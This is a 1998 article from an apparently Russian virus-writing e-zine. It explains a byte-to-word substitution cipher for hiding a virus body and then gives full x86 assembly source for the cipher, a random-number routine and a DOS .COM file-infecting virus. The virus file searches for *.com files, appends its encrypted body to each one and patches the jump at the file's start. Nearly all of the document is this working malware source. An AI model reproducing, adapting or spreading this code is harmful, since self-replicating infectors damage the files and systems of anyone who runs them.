[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 8, Nov 1998 file 007
Вирусная криптография (ABME)
by Pr0cedure
Это исходники одной моей мысли, разумеется, так и не доведенной до
логического конца. Я больше, чем уверен, даже убежден, что сей зверек содержит
тысячу баг, которые еще нужно было бы отлавливать... Но не в этом дело. Дело в
технологии. Технология заключается вот в чем: Байт может принимать значения от
000h до 0ffh. Сопоставим каждому возможному значению байта случайное
уникальное значение слова. Получим таблицу
Table dw 0ffh dup (?)
В таблицу заносим случайные слова, но каждый раз проверяем уникальность,
то есть, чтобы такого слова в таблице еще не было. Собственно, из этих слов
будем в дальнейшем составлять тело зверушки.
После того, как сформировали таблицу, берем по одному байту из
буфера-тушки. Значение байта является индексом в нашей таблице. Умножаем
значение байта на 2 (так как таблица в словах). Берем из таблицы элемент с
индексом, равным полученному значению и пишем его в выходной буфер.
Обратная операция аналогична. Берем из входного буфера слово, ищем
соответствие ему в таблице. Индекс соответствующего элемента пихаем в выходной
буфер - он и есть исходный байт тушки.
Короче, все просто до безобразия... но красиво ;-)
=== Cut === ABME.INC
; (c) Pr0cedure http://www.chat.ru/~anyfiler
ABME:
push ax bx dx bp
mov bp,si
sub bp,TableLength
ABME0:
lodsw
xchg ax,bx
push si
push cx
mov si,bp
mov cx,0ffh
ABME1:
lodsw
cmp ax,bx
je Ok
loop ABME1
Ok:
mov ax,0ffh
sub ax,cx
pop cx
pop si
stosb
loop ABME0
pop bp dx bx ax
ret
=== Cut ===
=== Cut === BME.INC
; (c) Pr0cedure http://www.chat.ru/~anyfiler
BME:
push ax bx dx si di bp
call BME0
RAS equ $-BME
BME0:
xor dx,dx
;Key generate
pop bp
push si
push cx
mov cx,0ffh
LOOP_RND:
mov bx,0fffeh
call RND
inc ax
xchg ax,bx
;Compare with current keys
push cx
push dx
xor dx,dx
mov cx,0ffh
mov si,bp
add si,Table_Of_Keys
LR1:
add si,dx
lodsw
cmp ax,bx
jne LOOP_RND1
pop dx
pop cx
jmp LOOP_RND
LOOP_RND1:
add dx,2
loop LR1
pop dx
pop cx
;Save New Key
mov si,bp
add si,Table_Of_Keys
add si,dx
xchg si,di
xchg ax,bx
stosw
xchg si,di
add dx,2
loop LOOP_RND
;Create New Buff
mov si,bp
add si,Table_Of_Keys
mov cx,0ffh
rep movsw
pop cx
pop si
New_Buff:
xor ax,ax
lodsb
push si
mov si,bp
add si,Table_Of_Keys
shl ax,1
add si,ax
lodsw
stosw
pop si
loop New_Buff
;Restore and Exit
xchg cx,di
pop bp di si dx bx ax
sub cx,di
ret
;---
Table_Of_Keys equ $-BME0
TOK:
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
TableLength equ $-TOK
=== Cut ===
=== Cut === RAME_RND.INC
; (c) Pr0cedure http://www.chat.ru/~anyfiler
rnd proc near
push ds di dx cx bx ax
call @@r0
@@r0:
pop di
push cs
pop ds
add di,randomize
mov bx,word ptr ds:[di]
shr bx,1
mov ah,2ch
int 21h
pop ax
@@r1:
xor cx,bx
push cx
@@r2:
xor dx,bx
xor bx,ax
not bx
add bx,dx
neg bx
xor bx,dx
loop @@r2
pop cx
xor cx,bx
xor ch,cl
add ch,dh
sub ch,dl
mov cl,dl
rol cx,1
xor cx,dx
xchg ax,bx
pop bx
push bx
cmp bx,0ffh
jnc @@rr
@@rr3:
cmp cl,0ffh
jc @@rr2
inc ch
xchg ch,cl
xor cl,ch
sub cl,1
jmp short @@rr3
@@rr2:
cmp cl,bl
jmp short @@rr1
@@rr:
cmp cx,bx
@@rr1:
xchg ax,bx
jnc @@r3
jmp short @@r4
@@r3:
xor dh,dl
add dh,dl
xchg dh,dl
ror dx,cl
sub bx,2
jmp short @@r1
@@r4:
xchg cx,ax
mov word ptr ds:[di],ax
pop bx cx dx di ds
ret
randomize equ $-@@r0
dw 2406h
rnd endp
=== Cut ===
=== Cut === ABME_VIR.ASM
; (c) Pr0cedure http://www.chat.ru/~anyfiler
Model Tiny
.code
org 100h
start:
db 90h
jmp Virus
db 100h dup (90h)
Virus:
mov si, word ptr ds:[102h]
add si,VVV+4
mov di,si
add di,MyLength + 3
mov cx,MyLength / 2 + 1
call ABME
jmp Vir1
include abme.inc
TBL:
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
VVV equ $-Virus
Vir1:
call EntryPoint
EntryPoint:
TBL_OFS equ $-TBL
StartOffs equ $-Virus
pop bp
mov si,bp
add si,OldBytes
mov di,100h
cld
movsw
movsw
mov ah,4eh
mov cx,0fh
mov dx,MaskOfs
Interrupt:
int 21h
jb NotFile
call SomeInfect
mov ah,4fh
jmp short Interrupt
NotFile:
mov si,100h
jmp si
SomeInfect:
mov dx,9eh
mov ax,3d02h
int 21h
xchg ax,bx
mov ah,3fh
mov dx,bp
add dx,OldBytes
push dx
mov cx,4
int 21h
pop di
cmp byte ptr ds:[di],90h
jne Infect
CloseFile:
mov ah,3eh
int 21h
ret
Infect:
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
sub ax,3
push ax
mov dx,bp
sub dx,StartOffs
mov cx,VVV-TableLength
mov ah,40h
int 21h
mov si,bp
sub si,3
mov di,bp
add di,MyLength
push di
mov cx,MyLength+3
call BME
push cx
mov ah,40h
mov dx,bp
add dx,AAV+RAS+Table_Of_Keys
mov cx,TableLength
int 21h
pop cx
mov ah,40h
pop dx
int 21h
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
mov si,bp
add si,OldBytes
mov word ptr ds:[si],0E990h
pop ax
mov word ptr ds:[si+2],ax
mov ah,40h
mov dx,bp
add dx,OldBytes
mov cx,4
int 21h
jmp CloseFile
AAV equ $-EntryPoint
include bme.inc
include rame_rnd.inc
MaskOfs equ $-EntryPoint
db '*.com',0h
OldBytes equ $-EntryPoint
dw 9090h, 9090h
MyLength equ $-EntryPoint
end start
=== Cut ===